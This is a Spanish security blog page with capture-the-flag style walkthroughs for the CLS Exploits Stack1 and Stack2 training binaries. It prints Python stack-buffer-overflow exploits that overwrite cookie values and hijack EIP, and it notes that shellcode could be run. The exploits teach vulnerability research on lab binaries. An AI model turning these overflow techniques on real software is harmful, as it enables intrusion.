Nuevas Entradas

Walkthrough Stack2 CLS Exploits

by hdbreaker

Con la debida autorización de Ricardo Narvaja y los agradecimientos respectivos al grupo CrackLatinos se da comienzo al solucionario del ejercicio Stack2 del grupo CLS Exploits.

Enunciado:

Autor: Ricardo Narvaja
----------------------

Abrir el idb en ida y tratar de entender y mirar estaticamente el programa. Mirar la distancia exacta que se necesita para pisar la primera cookie y para pisar la segunda y ponerla en el mail que me envian armar el script correcto y enviarmelo para que yo lo pruebe. Entre las cosas que se enviaron para bajar hay un esqueleto de script en python que puede servir cualquier duda ir al canal de telegram de exploit que alli estan en grupo trabajando en esto.

IDB: stack2.idb 
Binario: stack2.exe

Una vez listos procedemos a analizar estaticamente el IDB con IDA PRO y analizar su función principal:


En la dirección 0x004012D6 comienza la sección que nos interesa:


Lo que sucede aqui es exactamente lo mismo que sucedía en el ejercicio Stack1:

En esta dirección podemos apreciar cómo el offset Format que contiene el string buf: %08x cookie: %08x\n se mueve dentro del puntero [esp+78+Format], esto es una forma de pushear un argumento al stack, ya que el mismo será utilizado por la función printf en la dirección 0x004012DD, la cual se encarga de mostrar un mensaje en pantalla con el formato especificado.

En la dirección 0x004012E2 podemos ver cómo la instrucción lea eax, [ebp+Buffer] coloca el valor al que referencia el puntero [ebp+Buffer] en eax, el cual luego es movido al puntero [esp+78+Format] en la dirección 0x004012E5, el cual identificamos como un push al stack anteriormente.

Este valor es enviado como argumento de la función gets, la cual es vulnerable a overflow ya que no valida el largo del buffer donde escribe, en relación con la entrada dada por el usuario.

Luego del llamado a la función gets en la dirección 0x004012ED, se encuentra la siguiente comparación: 

cmp [ebp+var_14], 71727374

La misma modificará la conducta del salto condicional que se encuentra en la dirección 0x004012F4: jnz short loc_401323 (jz es equivalente a je)

Si la condición no se cumple (jmp if not equal) el salto condicional nos llevará al basic block que comienza en la dirección 0x00401323 el cual termina en un retn y concluye la aplicación.

Si la condición se cumple la aplicación sigue un flujo normal y llega al basic block que comienza en la dirección 0x004012F6, la cual checkea que el puntero [ebp+var_C] sea igual al valor 0x91929394.

Si la condición no se cumple (jmp if not equal) el salto condicional nos llevara al basic block que comienza en la dirección 0x00401323 el cual termina en un retn y concluye la aplicación.

Caso contrario la aplicación sigue su flujo normal y llega al basic block que comienza en la dirección 0x004012FF, en el que se genera y muestra el mensaje q estamos buscando.




La secuencia de eventos anteriores puede imaginarse como el siguiente código en C


if ( var_14 == 0x71727374) {
if( var_C == 0x91929394 ) {
printf("flag %x", &v7);
printf("you are a winnner man je\n");
}
} 

system("PAUSE");
return 0;

Habiendo analizado el programa, el objetivo sería explotar la vulnerabilidad existente en la función gets con el fin de sobrescribir el valor de var_14 y de var_C por los esperados en cada comparación y de esta forma guiar el flujo de ejecución hacia el basic block que muestra el mensaje buscado.

Como en el ejercicio anterior verificaremos el tamaño de Buffer y la cantidad de bytes necesarios al finalizar Buffer para sobrescribir las variables necesarias:


1) Nos colocaremos sobre la variable Buffer y daremos doble click, esto nos situara en la vista Stack Frame View, nos situamos sobre Buffer, realizamos click derecho sobre Buffer e ingresamos en el submenu Array.




En esta ventana entran en juego 2 elementos Array element size y Array size, el tamaño del Buffer es equivalente a la multiplicación de estos 2 elementos, debido a que Array element size en este caso es 1 el tamaño de Buffer es igual a 68 bytes. Es importante destacar que debemos cerrar esta ventana clickeando el botón Cancelar.

Teniendo en cuenta lo anterior, sabes que para desbordar Buffer debemos enviar un string mayor a 68 bytes, pero esto no es suficiente, debemos desbordar el buffer hasta el punto que logremos sobrescribir el valor del contenido en var_14 y var_C.


Para calcular cuántos bytes más debemos enviar, debemos bajar en el Stack Frame View hasta localizarnos en la próxima variable adyacente a Buffer.


Con esta información podemos apreciar que este ejercicio tiene 2 posibles soluciones:

1) Sobrescribir 68 bytes + 4 bytes (var_14 = 0x71727374) + 4 bytes (var_10 = JUNK) + 4 bytes (var_C = 0x91929394 )


2) Sobrescribir 68 bytes + 4 bytes (var_14) + 4 bytes (var_10) + 4 bytes (var_C) + 8 bytes + 4 bytes (s => ebp) + 4 bytes (r => eip)


Dicho esto se decidió solucionar el ejercicio de la primera forma:

. Sobrescribir 68 bytes + 4 bytes (var_14 = 0x71727374) + 4 bytes (var_10 = JUNK) + 4 bytes (var_C = 0x91929394 )


import struct
from subprocess import Popen, PIPE

stdin = Popen("stack2.exe", stdin=PIPE, stdout=PIPE) 

buffer = "\x90" * 68 # Buffer length
var_14 = struct.pack("<I", 0x71727374)
var_10 = "JUNK"
var_C = struct.pack("<I", 0x91929394)
payload = buffer + var_14 + var_10 + var_C # => jmp if not equal

print "[#] Sending Payload"
stdout = stdin.communicate(payload)[0]
print stdout

Resultado:



Sin más me despido hasta traerles la solución del próximo ejercicio.


Saludos!

Walkthrough Stack1 CLS Exploits

by hdbreaker

Con la debida autorización de Ricardo Narvaja y los agradecimientos respectivos al grupo CrackLatinos se da comienzo al solucionario del ejercicio Stack1 del grupo CLS Exploits.

Enunciado:

Autor: Ricardo Narvaja
----------------------

Abrir el idb en ida y tratar de entender y mirar estaticamente el programa. Mirar la distancia exacta que se necesita para pisar la cookie y ponerla en el mail que me envian armar el script correcto y enviarmelo para que yo lo pruebe. Entre las cosas que se enviaron para bajar hay un esqueleto de script en python que puede servir cualquier duda ir al canal de telegram de exploit que alli estan en grupo trabajando en esto.

IDB: stack1.idb
Binario: stack1.exe

Lo primero que debemos hacer en este ejercicio es abrir el idb con IDA PRO, y analizar estáticamente el programa en busca de la vulnerabilidad, para luego generar un exploit que se aproveche de la misma y logre controlar el flujo de la aplicación.

La estructura principal del programa es realmente simple y luce de la siguiente forma:



En la dirección 0x004012D4 comienza la sección que nos interesa:


En esta dirección podemos apreciar cómo el offset Format que contiene el string buf: %08x cookie: %08x\n se mueve dentro del puntero [esp+0D8], esto es una forma de pushear un argumento al stack, ya que el mismo sera utilizado por la función printf en la dirección 0x004012DB la cual se encarga de mostrar un mensaje con el formato especificado en pantalla.

En la dirección 0x004012E0 podemos ver como la instrucción lea eax, [ebp+Buffer] coloca el valor al que referencia el puntero [ebp+Buffer] en eax, el cual luego es movido al puntero [esp+0B8] en la dirección 0x004012E6 el cual identificamos como un push al stack anteriormente.

Este valor es enviado como argumento de la función gets, la cual es vulnerable a overflow ya que no valida el largo del buffer donde escribe en relación con la entrada dada por el usuario.

Luego del llamado a la función gets en la dirección 0x004012EE se encuentra la siguiente comparación: 

cmp [ebp+var_C], 51525354

La misma modificara la conducta del salto condicional que se encuentra en la dirección 0x004012F5: jnz short locret_401303 (jz es equivalente a je)

Si la condición no se cumple (jmp if not equal) el salto condicional nos llevara al basic block que comienza en la dirección 0x00401303 el cual termina en un retn y concluye la aplicación.

Si la condición se cumple la aplicación sigue un flujo normal y llega al basic block que comienza en la dirección 0x004012F7 la cual coloca en el stack el mensaje "you are a winner man je\n" el cual es utilizado por la función printf para imprimir el mensaje solución del reto.

Teniendo esto en cuenta nuestro objetivo seria aprovecharnos de la función gets para enviar un valor mayor al esperado en Buffer con el fin de corromper el stack y lograr controlar el valor al que apunta el puntero [ebp+var_C]

Para lograr esto, primero debemos identificar el tamaño reservado para Buffer, IDA PRO nos permite hacer esto de forma sencilla de la siguiente forma:

1) Nos colocaremos sobre la variable Buffer y daremos doble click, esto nos situara en la vista Stack Frame View



2) Realizamos click derecho sobre Buffer y ingresamos en el submenu Array.


3) Aparecera la siguiente venta:



En esta ventana entran en juego 2 elementos Array element size y Array size, el tamaño del Buffer es equivalente a la multiplicación de estos 2 elementos, debido a que Array element size en este caso es 1 el tamaño de Buffer es igual a 140 bytes. Es importante destacar que debemos cerrar esta ventana clickeando el botón Cancelar.

Teniendo en cuenta lo anterior sabes que para desbordar Buffer debemos enviar un string mayor a 140 bytes, pero esto no es suficiente, debemos desbordar el buffer hasta el punto que logremos sobrescribir  el valor de contenido en var_C.

Para calcular cuantos bytes más debemos enviar debemos bajar en el Stack Frame View hasta localizarnos en la próxima variable adyacente a Buffer.





Con esta información podemos apreciar que este ejercicio tiene 2 posibles soluciones:

1) Sobrescribir 140 bytes + 4 bytes (var_C = 0x51525354)
2) Sobrescribir 140 bytes + 4 bytes (var_C) + 8 bytes + 4 bytes (s => ebp) + 4 bytes (r => eip)

Dicho esto procederemos a solucionar el ejercicio de ambas formas:

1) Sobrescribir 140 bytes + 4 bytes (var_C = 0x51525354)

import struct
from subprocess import Popen, PIPE
 
stdin = Popen("stack1.exe", stdin=PIPE, stdout=PIPE) 
buffer = "\x90"*140 # => Buffer length
var_c = struct.pack("<I", 0x51525354) 
payload = buffer + var_c # => jmp equal true
print "[#] Sending Payload"
stdout = stdin.communicate(payload)[0]
print stdout

Resultado:



2) Sobrescribir 140 bytes + 4 bytes (var_C) + 8 bytes + 4 bytes (s => ebp) + 4 bytes (r => eip)

Esta solución es más complicada y se puede lograr debido a que el binario no posee ASLR.

Al lograr controlar el valor del registro de retorno (EIP) somos capaces de alterar el flujo de ejecución del programa a nuestro gusto, por lo que podríamos decirle al programa que llegado el ultimo ret no finalice su ejecución, sino que siga su flujo llamando a la dirección 0x004012F7, donde comienza el basic block encargado de imprimir el mensaje "you are a winner man je\n".

Quedando nuestro exploit con la siguiente estructura:

import struct
from subprocess import Popen, PIPE
 
stdin = Popen("stack1.exe", stdin=PIPE, stdout=PIPE) 

buffer = "\x90" * 140 # Buffer length
var_c = "\x41" * 4
junk = "\x41" * 8 
s = "\x42" * 4 # JUNK
r = struct.pack("<I", 0x004012F7) # => Control over EIP

payload = buffer + var_c + junk + s + r # => jmp if not equal

print "[#] Sending Payload"
stdout = stdin.communicate(payload)[0]
print stdout

El anterior programa debería funcionar sin problemas, pero al ejecutarlo obtenemos el siguiente error:


Para comprender que sucede nos ayudaremos con el Debugger de IDA PRO, colocando con la tecla F2 un par de breakpoints, en el ultimo ret y en el jnz:


Luego de esto modificaremos nuestro exploit agregando un raw_input() antes del stdin.communicate() quedando de la siguiente forma:

import struct
from subprocess import Popen, PIPE
 
stdin = Popen("stack1.exe", stdin=PIPE, stdout=PIPE) 

buffer = "\x90" * 140 # Buffer length
var_c = "\x41" * 4
junk = "\x41" * 8 
s = "\x42" * 4 # JUNK
r = struct.pack("<I", 0x004012F7) # => Control over EIP

payload = buffer + var_c + junk + s + r # => jmp if not equal

print "[#] Sending Payload"
raw_input("Send any key to continue")
stdout = stdin.communicate(payload)[0]
print stdout

Esto lo haremos con el fin de poder attacharnos al programa antes de enviar el payload que produce el crash, para esto ejecutamos el programa:


Vamos a IDA, configuramos el Debugger a nuestro gusto, e iremos a la pestaña Debugger -> Attach to process..


Esto nos abrira una ventana en la cual debemos seleccionar el programa al cual attacharnos:


 Seleccionamos el programa y presionamos el botón "OK", esto nos llevara hacia nuestro Debugger:



Llegado este punto debemos presionar "F9" y luego dirigirnos a nuestra terminal y continuar la ejecución:



Hecho esto podremos seguir el flujo de ejecución presionando la tecla "F8", continuaremos hasta queda sobre el ultimo ret y sobre el presionamos "F9".


El error nos informa que el registro EBP se encuentra apurando a una sección de memoria que no puede ser leída, por lo que deberíamos fixear EBP con alguna dirección de memoria valida y nuestro problema debería estar resuelto, por lo que le colocaremos cualquier dirección de idata

Precionamos Ctrl+S para entrar al listado de segmentos:


Seleccionamos .idata y presionamos "OK".


Seleccionamos cualquier dirección de memoria valida, en este caso 0x004050A8 y modificamos el exploit de la siguiente forma:

import struct
from subprocess import Popen, PIPE
 
stdin = Popen("stack1.exe", stdin=PIPE, stdout=PIPE) 

buffer = "\x90" * 140 # Buffer length
var_c = "\x41" * 4
junk = "\x41" * 8 
s = struct.pack("<I", 0x004050A8)
r = struct.pack("<I", 0x004012F7) # => Control over EIP

payload = buffer + var_c + junk + s + r # => jmp if not equal

print "[#] Sending Payload"
raw_input("Send any key to continue")
stdout = stdin.communicate(payload)[0]
print stdout

Largamos el exploit, nos volvemos a attachar con IDA y nos posicionamos sobre el ultimo ret



En la imagen podemos apreciar como EBP apunta a nuestra dirección de idata y como el próximo registro a cargarse en EIP es la dirección 0x004012F7 la cual apunta al basic block donde se imprime nuestro buscado mensaje.

Resultado:



Alternativas:

Se  logran ejecutar dos acciones diferentes utilizando como registro alternativo EBP este registro nos permite mover el stack a nuestro gusto, por lo que luego de modificar el ultimo ret podríamos alterar el flujo de ejecución nuevamente alineando de forma correcta EBP y de esta forma controlar por segunda ves EIP sin necesidad de ROP.

PoC:

import struct
from subprocess import Popen, PIPE
 
stdin = Popen("stack1.exe", stdin=PIPE, stdout=PIPE) 

exit = struct.pack("<I", 0x75504416) # =>Dir KERNELBASE.EXITPROCESS
buffer = "\x90" * 136 # => Buffer length
var_c = "\x41" * 4
junk = "\x41" * 8
s = struct.pack("<I", 0x0022FEAC) # => Fix EBP jumping to exit
r = struct.pack("<I", 0x004012F7) # => Control over EIP and jmp to printf good message

payload = exit + buffer + var_c + junk + s + r # => jmp if not equal

print "[#] Sending Payload"
stdout = stdin.communicate(payload)[0]
print stdout

Se controla EIP y se apunta al basic block que genera el mensaje buscado:


El flujo es guiado hacia la zona correspondiente:


Continuando nuevamente al ret utilizamos EBP para alinear el stack a nuestra conveniencia:


Podemos apreciar como EBP posee el valor enviado en nuestro exploit, dando como resultado el desplazamiento a gusto en el stack:


Colocando en la próxima dirección a utilizar por EIP nuestra dirección a ExitProcess, en este caso esto se utiliza con el fin de generar una salida limpia del proceso pero podría utilizarse como base para otro tipo de ataque.

Resultado:




Debido a que el binario no pose DEP ni ASLR se podría ingresar una shellcode en nuestro input, localizarlo en el stack y saltar a su dirección controlando el flujo mediante EIP y de esta forma ejecutar código arbitrario, pero esto quedara para próximas entradas.



Sin más me despido dejando la primer entrada de esta serie de soluciones, espero sea de su agrado.

Saludos! 




Nuevo Dominio! www.secsignal.org



Después de algún tiempo de inactividad hemos decidido volver a escribir!

Nos encontrábamos ausentes debido a importantes proyectos laborales los cuales absorben una gran cantidad de nuestro tiempo pero de los cuales aprendemos día a día y nos permiten crear material de calidad para el lector.

Como novedad queremos dar aviso que hemos actualizado nuestro dominio, de ahora en más podrán visitarnos en la siguiente url: https://www.secsignal.org

TODO:

. Gracias a nuestros amigos de CrackLatinos y al querido Ricardo Navaja queremos dar comienzo a una sección de Exploiting donde se solucionaran paso a paso todos los retos propuestos por la comunidad de CLS Exploits y varios CVEs reales de aplicaciones comerciales en sus respectivas versiones vulnerables. Además se trataran diferentes protecciones de los sistemas operativos tales como ASLR, DEP y se intentara detallar la técnica conocida como ROP.

. Se creara una entrada con el fin de dar un vistazo general a los frameworks de Fuzzing BFF y PEACH COMMUNITY.

. Se creara una entrada con el fin de dar un vistazo general al framework de análisis binario por ejecución simbólica "ANGR".

. Se crearan una serie de entradas relacionadas con ataques de serialización en entornos PHP, Python y Java.

. Tenemos una gran lista de ideas que intentaremos ir implementando con el regreso del blog.

Esperamos captar nuevamente su atención y tenerlos expectantes de las próximas entradas.

Saludos!

6Days Lab 1.1

 

Prólogo


6Days Lab es una máquina virtual del tipo boot2root, creada por los chicos de canyoupwn, cuyo objetivo es elevar privilegios en el sistema y ejecutar /flag.

Format String Atack

by hdbreaker

Esta entrada esta dedicada a la lista de entradas sobre Exploiting, pero de momento dejaremos de
lado los tratados Buffer Overflow para hablar sobre

Ringzer0 Level4 Pwned! by hdbreaker

by hdbreaker

Hace algunos días me entere que el equipo de ringzer0team había creado nuevos retos de exploiting y decidí retomarlos.

SecuritySocket Remote Exploit Library

by hdbreaker

Hoy tengo el agrado de presentar SecuritySocket, una pequeña libreria que tiene como finalidad volver mas amigable el desarrollo de exploits.

Desbordando El Buffer en Linux X86 (IV)


by hdbreaker

En el anterior tutorial se logro ejecutar código arbitrario saltando la protección ASLR por medio de llamadas a funciones definidas, pero en nuestro ejemplo
 
Copyright © 2014 Security Signal.
Designed by OddThemes | Distributed By Gooyaabi Templates